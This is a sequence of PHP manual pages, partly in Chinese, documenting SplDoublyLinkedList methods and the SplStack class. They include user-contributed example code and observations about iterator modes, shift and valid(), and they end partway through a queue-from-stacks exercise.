  • ? SplDoublyLinkedList::count
  • SplDoublyLinkedList::getIteratorMode ?
  • PHP Manual
  • SplDoublyLinkedList
  • Return current array entry

SplDoublyLinkedList::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::current — Return current array entry

说明

public SplDoublyLinkedList::current(): mixed

Get the current doubly linked list node.

参数

此函数没有参数。

返回值

The current node value.

User Contributed Notes

rakesh dot mishra at gmail dot com 26-Jan-2011 11:18
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);
    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

$curr = $obj->current(); // this will return NULL as we have not set initial node.

echo "<br> Rewinding the position so that current node points to first node ";
$obj->rewind();

echo "<br>Current node of the linked list:";
echo  $obj->current(); // this will print first node of the linked list.

echo "<br>Moving to Next node:";
$obj->next();

echo "<br>Printing the next node:";
echo $obj->current();

?>


Returns the mode of iteration

  • ? SplDoublyLinkedList::current
  • SplDoublyLinkedList::isEmpty ?
  • PHP Manual
  • SplDoublyLinkedList
  • Returns the mode of iteration

SplDoublyLinkedList::getIteratorMode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::getIteratorMode — Returns the mode of iteration

说明

public SplDoublyLinkedList::getIteratorMode(): int

参数

此函数没有参数。

返回值

Returns the different modes and flags that affect the iteration.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 10:32
I think it should be noted that the IT_MODE_* constants are defined inside the class as:

IT_MODE_LIFO => int(2)
IT_MODE_FIFO => int(0)
IT_MODE_DELETE => int(1)
IT_MODE_KEEP => int(0)

With the FIFO and KEEP flags both defined as zero, you can run into an ambiguity when trying to discern what modes have been activated when trying to use bitwise deduction as one might be lead to believe considering the bitwise way you set the iterator mode (at least in v5.3.5, haven't tested any others).

Consider this example:

<?php

$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode(); #int(1)

var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO); #outputs false
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP); #outputs true (huh?!)

?>

Regardless of whatever the getIteratorMode tells you, the object DOES correctly honor the configuration that was set as far as I can tell.

The way you SHOULD do it (at least until they add any more options):

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

Hope this can help someone.


Checks whether the doubly linked list is empty

  • ? SplDoublyLinkedList::getIteratorMode
  • SplDoublyLinkedList::key ?
  • PHP Manual
  • SplDoublyLinkedList
  • Checks whether the doubly linked list is empty

SplDoublyLinkedList::isEmpty

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::isEmpty — Checks whether the doubly linked list is empty

说明

public SplDoublyLinkedList::isEmpty(): bool

参数

此函数没有参数。

返回值

Returns whether the doubly linked list is empty.

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 07:53
//isEmpty is a method of SplDoublyLinkedList

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    $obj->push(2);
    $obj->unshift(10);
}
print_r($obj);

//Output like this
SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 10
            [1] => 2
        )

)


Return current node index

  • ? SplDoublyLinkedList::isEmpty
  • SplDoublyLinkedList::next ?
  • PHP Manual
  • SplDoublyLinkedList
  • Return current node index

SplDoublyLinkedList::key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::key — Return current node index

说明

public SplDoublyLinkedList::key(): int

This function returns the current node index

参数

此函数没有参数。

返回值

The current node index.

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • ? SplDoublyLinkedList::key
  • SplDoublyLinkedList::offsetExists ?
  • PHP Manual
  • SplDoublyLinkedList
  • Move to next entry

SplDoublyLinkedList::next

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::next — Move to next entry

说明

public SplDoublyLinkedList::next(): void

Move the iterator to the next node.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

Anonymous 17-Feb-2014 10:44
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind();

while($dll->valid()){
    echo $dll->current().'<br />';
    $dll->next();//switch to next list item
}


Returns whether the requested $index exists

  • ? SplDoublyLinkedList::next
  • SplDoublyLinkedList::offsetGet ?
  • PHP Manual
  • SplDoublyLinkedList
  • Returns whether the requested $index exists

SplDoublyLinkedList::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetExists — Returns whether the requested $index exists

说明

public SplDoublyLinkedList::offsetExists(int $index): bool

参数

index

The index being checked.

返回值

true if the requested index exists, otherwise false

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the specified $index

  • ? SplDoublyLinkedList::offsetExists
  • SplDoublyLinkedList::offsetSet ?
  • PHP Manual
  • SplDoublyLinkedList
  • Returns the value at the specified $index

SplDoublyLinkedList::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetGet — Returns the value at the specified $index

说明

public SplDoublyLinkedList::offsetGet(int $index): mixed

参数

index

The index with the value.

返回值

The value at the specified index.

错误／异常

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Sets the value at the specified $index to $value

  • ? SplDoublyLinkedList::offsetGet
  • SplDoublyLinkedList::offsetUnset ?
  • PHP Manual
  • SplDoublyLinkedList
  • Sets the value at the specified $index to $value

SplDoublyLinkedList::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetSet — Sets the value at the specified $index to $value

说明

public SplDoublyLinkedList::offsetSet(?int $index, mixed $value): void

Sets the value at the specified index to value.

参数

index

The index being set. If null, the next value will be added after the last item.

value

The new value for the index.

返回值

没有返回值。

错误／异常

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

chanel at lipski-development dot de 25-Feb-2018 03:21
How to change elements of a SplDoublyLinkedList
<?php

function change_elements($list,$old_index,$new_index){

$tmp1=$list->offsetGet($old_index);
$tmp2=$list->offsetGet($new_index);
$list->offsetSet($old_index,$tmp2);
$list->offsetSet($new_index,$tmp1);

}

$list=new SplDoublyLinkedList();
$list->push("A");
$list->push("B");
$list->push("C");

/*
OUTPUT
A
B
C
*/

change_elements($list,0,1);

/*
OUTPUT
B
A
C
*/

?>


Unsets the value at the specified $index

  • ? SplDoublyLinkedList::offsetSet
  • SplDoublyLinkedList::pop ?
  • PHP Manual
  • SplDoublyLinkedList
  • Unsets the value at the specified $index

SplDoublyLinkedList::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::offsetUnset — Unsets the value at the specified $index

说明

public SplDoublyLinkedList::offsetUnset(int $index): void

Unsets the value at the specified index.

参数

index

The index being unset.

返回值

没有返回值。

错误／异常

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

marco dot paulo dot lopes at gmail dot com 31-May-2011 05:40
When unsetting an offset, the element will be removed from the double linked list. So the following code:

<?php

$obj = new SplDoublyLinkedList();

$obj->push(4);
$obj->push(5);
$obj->push(6);

$obj->offsetUnset(1);
echo "Our Linked List:";
print_r($obj);

?>

Will output:

Our Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
        )

)
Our New Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 6
        )

Notice that the element with the index 2 has now the index 1. The original element with index 1 did not only had it's value unset but was also removed from the list.


Pops a node from the end of the doubly linked list

  • ? SplDoublyLinkedList::offsetUnset
  • SplDoublyLinkedList::prev ?
  • PHP Manual
  • SplDoublyLinkedList
  • Pops a node from the end of the doubly linked list

SplDoublyLinkedList::pop

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list

说明

public SplDoublyLinkedList::pop(): mixed

参数

此函数没有参数。

返回值

The value of the popped node.

错误／异常

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.


Move to previous entry

  • ? SplDoublyLinkedList::pop
  • SplDoublyLinkedList::push ?
  • PHP Manual
  • SplDoublyLinkedList
  • Move to previous entry

SplDoublyLinkedList::prev

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::prev — Move to previous entry

说明

public SplDoublyLinkedList::prev(): void

Move the iterator to the previous node.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Pushes an element at the end of the doubly linked list

  • ? SplDoublyLinkedList::prev
  • SplDoublyLinkedList::rewind ?
  • PHP Manual
  • SplDoublyLinkedList
  • Pushes an element at the end of the doubly linked list

SplDoublyLinkedList::push

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list

说明

public SplDoublyLinkedList::push(mixed $value): void

Pushes value at the end of the doubly linked list.

参数

value

The value to push.

返回值

没有返回值。

User Contributed Notes

chicotec dot asm at gmail dot com 14-Feb-2019 09:00
You can also push an element at the end of the doubly linked list like in a simple array with square brackets:

$spl = new SplDoublyLinkedList;

$spl[] = 1;
$spl[] = 2;
$spl[] = 3;
$spl[] = 4;

print_r($spl);
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:35
$spl = new SplDoublyLinkedList;

$spl->push(1);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

print_r($spl);
Gilles A 30-Sep-2014 02:18
Be careful SplStack mode is LIFO (Last In First Out) not FIFO (First in First Out)
<?php
// Array (FIFO)
$stack = array();
array_push($stack,"orange");
array_push($stack,"banana");
array_push($stack,"apple");
array_push($stack,"raspberry");

var_dump($stack);
?>
// result

array (size=4)
  0 => string 'orange' (length=6)
  1 => string 'banana' (length=6)
  2 => string 'apple' (length=5)
  3 => string 'raspberry' (length=9)

<?php
// SplStack (LIFO)
$stack = new SplStack();
$stack ->push('orange');
$stack ->push('banana');
$stack ->push('apple');
$stack->push('raspberry');

$stack->rewind();
while($stack->valid()){
    var_dump($stack->current());
    $stack->next();

}
?>
//result
string 'raspberry' (length=9)
string 'apple' (length=5)
string 'banana' (length=6)
string 'orange' (length=6)


Rewind iterator back to the start

  • ? SplDoublyLinkedList::push
  • SplDoublyLinkedList::serialize ?
  • PHP Manual
  • SplDoublyLinkedList
  • Rewind iterator back to the start

SplDoublyLinkedList::rewind

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::rewind — Rewind iterator back to the start

说明

public SplDoublyLinkedList::rewind(): void

This rewinds the iterator to the beginning.

参数

此函数没有参数。

返回值

没有返回值。

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 08:42
$dll = new SplDoublyLinkedList();
$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind(); // starting from beginning without this it will not work

while($dll->valid()){
    echo $dll->current()."\n";
    $dll->next();
}

//Output
5
2
3


Serializes the storage

  • ? SplDoublyLinkedList::rewind
  • SplDoublyLinkedList::setIteratorMode ?
  • PHP Manual
  • SplDoublyLinkedList
  • Serializes the storage

SplDoublyLinkedList::serialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplDoublyLinkedList::serialize — Serializes the storage

说明

public SplDoublyLinkedList::serialize(): string

Serializes the storage.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The serialized string.

参见

  • SplDoublyLinkedList::unserialize() - Unserializes the storage

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:52
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$serialize=serialize($a);

echo $serialize;

echo PHP_EOL,PHP_EOL;

$unserialze=unserialize($serialize);

print_r($unserialze);


Sets the mode of iteration

  • ? SplDoublyLinkedList::serialize
  • SplDoublyLinkedList::shift ?
  • PHP Manual
  • SplDoublyLinkedList
  • Sets the mode of iteration

SplDoublyLinkedList::setIteratorMode

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::setIteratorMode — Sets the mode of iteration

说明

public SplDoublyLinkedList::setIteratorMode(int $mode): int

参数

mode

There are two orthogonal sets of modes that can be set:

  • The direction of the iteration (either one or the other):
    • SplDoublyLinkedList::IT_MODE_LIFO (Stack style)
    • SplDoublyLinkedList::IT_MODE_FIFO (Queue style)
  • The behavior of the iterator (either one or the other):
    • SplDoublyLinkedList::IT_MODE_DELETE (Elements are deleted by the iterator)
    • SplDoublyLinkedList::IT_MODE_KEEP (Elements are traversed by the iterator)

The default mode is: SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP

Warning

The direction of iteration can not be changed for SplStack and SplQueue classes, it is always SplDoublyLinkedList::IT_MODE_FIFO. Trying to modify it will result in a RuntimeException being thrown.

返回值

Returns the different modes and flags that affect the iteration.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 11:15
Despite the seeming unrelated-ness between the FIFO/LIFO and the KEEP/DELETE option pairs, in respect to the behavior of setIteratorMode they are in some way linked.  Meaning, a second call to setIteratorMode will erase any previous settings even if they are from the other pair.  This, coupled with the default settings for the object (SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP), means you have to be careful or you can run into trouble

Consider the following example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_DELETE);
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);

$mode = $l->getIteratorMode();
var_dump("MODE: $mode");
var_dump("MODE CHECKS");
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE);
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP);

$l->push('A');
$l->push('B');
$l->push('C');
$l->push('D');
$l->rewind();

var_dump("Traversing");
var_dump($l->isEmpty());

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->current());
$l->next();

var_dump($l->count());
var_dump($l->isEmpty());

?>

Which outputs the following:
#############################
string(7) "MODE: 2"

string(11) "MODE CHECKS"
bool(true) #LIFO (ok)
bool(true) #FIFO (umm...wait a minute)
bool(false)#DELETE (houston... wtf)
bool(true) #KEEP (ok, where's the camera hidden)

string(10) "Traversing"
bool(false)

int(4)
string(1) "D"

int(4)
string(1) "C"

int(4)
string(1) "B"

int(4)
string(1) "A"

int(4)
bool(false)
#############################

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

hope this helps someone.
pritiatwork at gmail dot com 07-Sep-2011 11:39
Usage of different Iterator Mode

<?php
$doubly=new SplDoublyLinkedList();
$doubly->push(array('name'=>'Naruto'));
$doubly->push(array('name'=>'Sakura'));
$doubly->push(array('name'=>'Neji'));
$doubly->push(array('name'=>'Sasuke'));
var_dump($doubly);
echo '<br/> FIFO Traversing<br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
echo '<br/>LIFO Traversing - Keep mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_KEEP);
$doubly->rewind();
foreach($doubly as $key=>$value)
{
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}

echo '<br/>LIFO Traversing - Delete mode <br/>';
$doubly->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLinkedList::IT_MODE_DELETE);
$doubly->rewind();

foreach($doubly as $key=>$value)
{
    if($key == 2) break;
    echo '<br/>Traversed:'.$key.' '.$value['name'];
}
var_dump($doubly);
?>

Output:

FIFO Traversing

Traversed:0 Naruto
Traversed:1 Sakura
Traversed:2 Neji
Traversed:3 Sasuke
LIFO Traversing - Keep mode

Traversed:3 Sasuke
Traversed:2 Neji
Traversed:1 Sakura
Traversed:0 Naruto
LIFO Traversing - Delete mode

Traversed:3 Sasuke
object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(3)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    array(1) {
      ["name"]=>
      string(6) "Naruto"
    }
    [1]=>
    array(1) {
      ["name"]=>
      string(6) "Sakura"
    }
    [2]=>
    array(1) {
      ["name"]=>
      string(4) "Neji"
    }
  }
}


Shifts a node from the beginning of the doubly linked list

  • ? SplDoublyLinkedList::setIteratorMode
  • SplDoublyLinkedList::top ?
  • PHP Manual
  • SplDoublyLinkedList
  • Shifts a node from the beginning of the doubly linked list

SplDoublyLinkedList::shift

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::shift — Shifts a node from the beginning of the doubly linked list

说明

public SplDoublyLinkedList::shift(): mixed

参数

此函数没有参数。

返回值

The value of the shifted node.

错误／异常

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

fabs2s at marsatak dot org 28-Feb-2017 10:41
One may expect SplDoublyLinkedList::shift to properly maintain internal pointers, but this is not the case, this will yield no results, even if you rewind first

<?php
while ($splDoublyLinkedList->valid()) {
    yield $splDoublyLinkedList->shift();
}
?>

It could be by design, but the following raises some more questions :

<?php

$test = new \SplDoublyLinkedList;
$dataSet = [
    ['id' => 1],
    ['id' => 2],
    ['id' => 3],
    ['id' => 4],
];

foreach ($dataSet as $row) {
    $test->push($row);
}

echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "1st shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "2nd shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
echo "rewinding... " . PHP_EOL;
$test->rewind();
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "2nd shift: " . var_export($test->shift(), true) . PHP_EOL;
echo "count: " . $test->count() . PHP_EOL;
echo "valid: " . ($test->valid() ? 'true' : 'false') . PHP_EOL;
echo "current: " . var_export($test->current(), true) . PHP_EOL;
echo "key: " . $test->key() . PHP_EOL;
?>

will result in :
<?php

/*
count: 4
valid: false                       <== First thing to note, you have no valid pointer unless you rewind first
current: NULL                  <== hence no current
key: 0                                <== but we have a valid key
offsetGet(key): array (    <== indeed
  'id' => 1,
)
1st shift: array (               <== and shift does return first row
  'id' => 1,
)
count: 3                            <== and count is maintained as expected
valid: false                      <== but internal pointer was left outside valid range
current: NULL                 <== hence no current again
key: 0                                <== but we still have a valid key
offsetGet(key): array (   <== indeed
  'id' => 2,
)
2nd shift: array (             <== and shift does return first row
  'id' => 2,
)
count: 2                           <== and count is maintained as expected
valid: false                      <== still not valid etc ..
current: NULL
key: 0
offsetGet(key): array (
  'id' => 3,
)
rewinding...                    <== now rewind
current: array (             <== yay a current
  'id' => 3,
)
3rd shift: array (            <== shift ok
  'id' => 3,
)
count: 1                          <== count ok
valid: true                     <== ouch valid
current: NULL               <== with no current
key: 0                              <== still our key is valid :o
offsetGet(key): array (
  'id' => 4,
)
*/
?>

Conclusion : I may be missing something about why SplDoublyLinkedList::shift is not maintaining proper internal index in the first place, but I find it even more confusing to be able to end up with a valid valid() and a valid key() and no current() while there is obviously one.

Tested on php 5.6.30 & 7.1.2 with the exact same result.


Peeks at the node from the end of the doubly linked list

  • ? SplDoublyLinkedList::shift
  • SplDoublyLinkedList::unserialize ?
  • PHP Manual
  • SplDoublyLinkedList
  • Peeks at the node from the end of the doubly linked list

SplDoublyLinkedList::top

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::top — Peeks at the node from the end of the doubly linked list

说明

public SplDoublyLinkedList::top(): mixed

参数

此函数没有参数。

返回值

The value of the last node.

错误／异常

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:31
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

echo "SplDoublyLinkedList array last/top value " .  $a->top() ." \n";
echo "SplDoublyLinkedList array first/top value " . $a->bottom() . " \n\n";

print_r($a);

//Another Example
$spl = new SplDoublyLinkedList;

$spl->push(11);
$spl->push(2);
$spl->push(3);
$spl->push(8);
$spl->push(5);

//array last value
echo $spl->top();
echo PHP_EOL;
//Array first value
echo $spl->bottom();
echo PHP_EOL;

print_r($spl);


Unserializes the storage

  • ? SplDoublyLinkedList::top
  • SplDoublyLinkedList::unshift ?
  • PHP Manual
  • SplDoublyLinkedList
  • Unserializes the storage

SplDoublyLinkedList::unserialize

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplDoublyLinkedList::unserialize — Unserializes the storage

说明

public SplDoublyLinkedList::unserialize(string $data): void

Unserializes the storage, from SplDoublyLinkedList::serialize().

Warning

本函数还未编写文档，仅有参数列表。

参数

data

The serialized string.

返回值

没有返回值。

参见

  • SplDoublyLinkedList::serialize() - Serializes the storage

User Contributed Notes

lincoln dot du dot j at gmail dot com 11-Jul-2017 05:52
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$serialize=serialize($a);

echo $serialize;

echo PHP_EOL,PHP_EOL;

$unserialze=unserialize($serialize);

print_r($unserialze);


Prepends the doubly linked list with an element

  • ? SplDoublyLinkedList::unserialize
  • SplDoublyLinkedList::valid ?
  • PHP Manual
  • SplDoublyLinkedList
  • Prepends the doubly linked list with an element

SplDoublyLinkedList::unshift

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::unshift — Prepends the doubly linked list with an element

说明

public SplDoublyLinkedList::unshift(mixed $value): void

Prepends value at the beginning of the doubly linked list.

参数

value

The value to unshift.

返回值

没有返回值。

User Contributed Notes

lincoln dot du dot j at gmail dot com 10-Jul-2017 08:40
$dll = new SplDoublyLinkedList();
$dll->push(2);
$dll->push(3);
$dll->unshift(5); // add 5 beginning of the array
$dll->rewind();

while($dll->valid()){
    echo $dll->current()."\n";
    $dll->next();
}

Output

5
2
3


Check whether the doubly linked list contains more nodes

  • ? SplDoublyLinkedList::unshift
  • SplStack ?
  • PHP Manual
  • SplDoublyLinkedList
  • Check whether the doubly linked list contains more nodes

SplDoublyLinkedList::valid

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SplDoublyLinkedList::valid — Check whether the doubly linked list contains more nodes

说明

public SplDoublyLinkedList::valid(): bool

Checks if the doubly linked list contains any more nodes.

参数

此函数没有参数。

返回值

Returns true if the doubly linked list contains any more nodes, false otherwise.

User Contributed Notes

phpdude at zootal dot com 23-Aug-2017 09:40
The docs say "Check whether the doubly linked list contains more nodes". I do not believe this is correct.

Example:

$dlist = new SplDoublyLinkedList;
$data=[1,2,3,4,5];

foreach($data as $d)
    $dlist->push($d);
$dlist->rewind();

for($i=0;$i<6;$i++)
{
    $currentValue = $dlist->current();
    $currentValid = $dlist->valid();

    $status = $currentValid ? 'True' : 'False';
    echo 'Current value is: ' . $currentValue . ' Valid status is: ' . $status . "\n";

    $dlist->next();
}

Output:

Current value is: 1 Valid status is: True
Current value is: 2 Valid status is: True
Current value is: 3 Valid status is: True
Current value is: 4 Valid status is: True
Current value is: 5 Valid status is: True
Current value is:  Valid status is: False

Note that when we are on the last node of the list, value = 5, the valid() function returns true. Yet we are on the last node of the list, and there are no more nodes. If the valid() function were checking to see if there were any more nodes on the list, it would return false, not true.

If you look at the docs for Iterator::valid, they say "Checks if current position is valid". I believe that is in fact what valid() does, it checks to see if the *current* position is valid, *not* if there are any more nodes.

Be aware of this or it will bite you. You can happily iterate to the end of the list, run valid(), think there is one more node, do a next(), grab the value, and you get null instead of the last node of the list.
lincoln dot du dot j at gmail dot com 11-Jul-2017 05:39
$a = new SplDoublyLinkedList;
$arr=[1,2,3,4,5,6,7,8,9];

for($i=0;$i<count($arr);$i++){
    $a->add($i,$arr[$i]);
}

$a->rewind();

while($a->valid()){
    echo 'key ', $a->key(), ' value ', $a->current(),"\n";
    $a->next();
}


SplStack 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

SplStack 类的主要功能是通过将迭代模式设置为 SplDoublyLinkedList::IT_MODE_LIFO 来提供使用双向链表实现的栈。

类摘要

class SplStack extends SplDoublyLinkedList {
/* 继承的常量 */
public const int SplDoublyLinkedList::IT_MODE_LIFO;
public const int SplDoublyLinkedList::IT_MODE_FIFO;
public const int SplDoublyLinkedList::IT_MODE_DELETE;
public const int SplDoublyLinkedList::IT_MODE_KEEP;
/* 继承的方法 */
public SplDoublyLinkedList::add(int $index, mixed $value): void
public SplDoublyLinkedList::bottom(): mixed
public SplDoublyLinkedList::count(): int
public SplDoublyLinkedList::current(): mixed
public SplDoublyLinkedList::getIteratorMode(): int
public SplDoublyLinkedList::isEmpty(): bool
public SplDoublyLinkedList::key(): int
public SplDoublyLinkedList::next(): void
public SplDoublyLinkedList::offsetExists(int $index): bool
public SplDoublyLinkedList::offsetGet(int $index): mixed
public SplDoublyLinkedList::offsetSet(?int $index, mixed $value): void
public SplDoublyLinkedList::offsetUnset(int $index): void
public SplDoublyLinkedList::pop(): mixed
public SplDoublyLinkedList::prev(): void
public SplDoublyLinkedList::push(mixed $value): void
public SplDoublyLinkedList::rewind(): void
public SplDoublyLinkedList::serialize(): string
public SplDoublyLinkedList::setIteratorMode(int $mode): int
public SplDoublyLinkedList::shift(): mixed
public SplDoublyLinkedList::top(): mixed
public SplDoublyLinkedList::unserialize(string $data): void
public SplDoublyLinkedList::unshift(mixed $value): void
public SplDoublyLinkedList::valid(): bool
}

示例

Example #1 SplStack 示例

<?php
$q = new SplStack();
$q[] = 1;
$q[] = 2;
$q[] = 3;
foreach ($q as $elem) {
echo $elem."\n";
}
?>

以上示例会输出：

3
2
1

User Contributed Notes

daryledesilva at gmail dot com 02-Nov-2019 03:49
<?php

// Exercise: Implement Queue using Stacks

class MyQueue {
    protected $queue;

    /**
     * Initialize your data structure here.
     */
    function __construct() {
        $this->queue = new \SplStack;
    }

    /**
     * Push element x to the back of queue.
     * @param Integer $x
     * @return NULL
     */
    function push($x) {
        $this->queue->push($x);
    }

    /**
     * Removes the element from in front of queue and returns that element.
     * @return Integer
     */
    function pop() {
        $length = count($this->queue);
        $temp = [];
        while(!$this->queue->isEmpty()){
            $rv = $this->queue->pop();
            if(!$this->queue->isEmpty()){
                $temp[] = $rv;
            }
        }
        for($i = count($temp)-1; $i >= 0; $i--){
            $this->queue->push($temp[$i]);
        }
        return $rv;
    }

    /**
     * Get the front element.
     * @return Integer
